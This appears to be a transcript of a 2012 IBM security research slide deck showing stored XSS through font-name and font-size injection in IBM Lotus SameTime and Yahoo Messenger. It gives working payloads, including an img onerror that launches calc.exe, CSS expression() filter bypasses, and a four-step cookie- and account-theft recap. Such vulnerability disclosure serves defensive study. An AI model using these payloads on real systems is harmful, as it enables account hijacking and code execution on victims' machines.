Stylish XSS

© 2012 IBM Corporation

IBM Security Systems

1© 2012 IBM Corporation

Stylish XSSvia Font Name Injection



2

Background - Instant Messengers



3


<Text Style="font-family:Segoe UI;font-weight:bold; font-style:italic; color:#008000; ">Hi!</Text>



4


Every time I’ve seen this screen, I wondered “What if I could use some HTML here…”



5

Background - Windows Fonts

Windows accepts basically any character as part of the font name

Font name length limited to ~30 chars



6

IBM Lotus SameTime Messenger

<span style="font-size:14pt;font-family:Segoe UI;font-weight:normal;font-style:normal;">You Do!</span>



7

SameTime - Exploit - CSS

Font Name: expression(alert(1));



8

SameTime - Exploit - CSS

Font Name: expression(alert(1));

Desired output:<span style= ";font-family:expression(alert(1));…">

Actual output:<span style="">



9

SameTime - Exploit - New Attribute

Font Name: "onclick="alert(1)"

Desired output:<span style="font-size:9pt;font-family:“onclick="alert(1)" ...">

Actual output:<span style="font-size:9pt;font-family:" onclick="">



10

SameTime - Exploit

~50 Fonts Later



11

SameTime - Exploit - Found

Message sent:

<span style=“…font-family:

Message Received:




12


Message sent:

<span style=“…font-family:e0”<<style<style</style>img x='>

Message Received:




13


Message sent:

<span style=“…font-family:e0”<<style<style</style>img x='>

Message Received:

<span style=“…font-family:e0”><img x='>



14


Message sent:

<span style=“…font-family:e0”<<style<style</style>img x='>Rest of Orig CSS">

Message Received:

<span style=“…font-family:e0”><img x='>Rest of Orig CSS">



15


Message sent:

<span style=“…font-family:e0”<<style<style</style>img x='>Rest of Orig CSS">'src='x' onerror='location="c:\\windows\\system32\\calc.exe" '

Message Received:

<span style=“…font-family:e0”><img x='>Rest of Orig CSS">



16


Message sent:

<span style=“…font-family:e0”<<style<style</style>img x='>Rest of Orig CSS">'

src='x'

onerror='location="c:\\windows\\system32\\calc.exe" '</span>

Message Received:

<span style=“…font-family:e0”><img x='>Rest of Orig CSS">'

src='x'

onerror='location="c:\\windows\\system32\\calc.exe" '

</span>



17

SameTime – Remote Code Execution

<span style="font-size:14pt;font-family:e0"><img x=';font-weight:normal;font-style:normal;">' src='x' onerror='location="c:\\windows\\system32\\calc.exe"'</span>



18

Yahoo Messenger



19

Yahoo Messenger – Message View

Lots of Colors, but that’s about it…



20

Yahoo Messenger - History View



21




22


Finally, Yahoo's

purple alert!



23

Yahoo Messenger - The Payload

<img src="x"onmouseover="alert(1)">



24

Yahoo Messenger - Digging Deeper

Wait, what?

It's not local?!



25


Accessing this URL in Chrome, yields the same result.



26


That means I can read the cookie!

And steal your account!



27

Yahoo Messenger - Recap

1. Send the victim a message that contain malicious HTML snippet

2. Wait 3-4 hours for it to show up in the history

3. Convince the user to access his history or send him a direct link to it (after all, it not local)

4. Have the victim click the Instant Message from the drop-down box



28

Yahoo Messenger - Introducing: Web Messenger!

Finally I can see the results of my attacks in real time!



29

Yahoo Messenger - Web Messenger

During the tests, I noticed that a <Font> tagsent as part of the message text, is beingrendered differently in the Web Messenger.

• The message:<font face="xxx" size="20">33333</font>

• Was rendered as:<font style="font-size:20pt" face="xxx“id="yui_3_2_0_20_1330267588862427">33333</font>



30

Yahoo Messenger - Exploiting CSS

Add a new rule with an expression() call.



31


Started With:

<font face=ssss size="1&color:red">xxxx</font>

To my surprise the response came back as I hoped

<font style="font-size:1&color:red" >xxxx</font>



32


Next was the expression:

<font face=sssss size="1&color:expression(alert(1))" >xxxx</font>

And again, it seems like nothing is filtering this...

<font style="font-size:1&color:expression(alert(1))">xxxx</font>



33


Time to open Internet Explorer!



34

Yahoo Web Messenger - IE Version



35


The Rules (for IE):

1. The Size attribute must be surrounded by double-quotes (" ")

2. The size value must be followed by the "pt;" suffix

<font size="15pt;"> <font style="font-size=15pt;">



36


By tweaking the size value,

a new Font-Family CSS rule could be injected.

<font size="15pt;font-family:aaaa;">

<font style="font-size=15pt;font-family: aaaa;">



37


With all that in mind, and ~30 <Font> tags later, came the following payload that bypass the CSS filtering

<font size="15pt;font-family:expression\(alert\(1\)\);">



38


It should work correctly according to the rendered source in

IE Developer Tools



39


Yet somehow, no alert



40

Yahoo Web Messenger - Uber Meta!

After ~5 hours of more fiddling and long lonely IM chats with myself

I finally found out what I was afraid of.

Or in other words, The "No Expression For You" Meta Tag

<meta http-equiv="X-UA-Compatible" content="IE=8"/>



41

Yahoo Web Messenger - Going Old School

Fired up my Windows XP VM

and kicked out IE8



42

Yahoo Web Messenger - Finally



43

Yahoo Messenger - History Window



44

Questions?

Stylish XSS

Technology

Transcript of Stylish XSS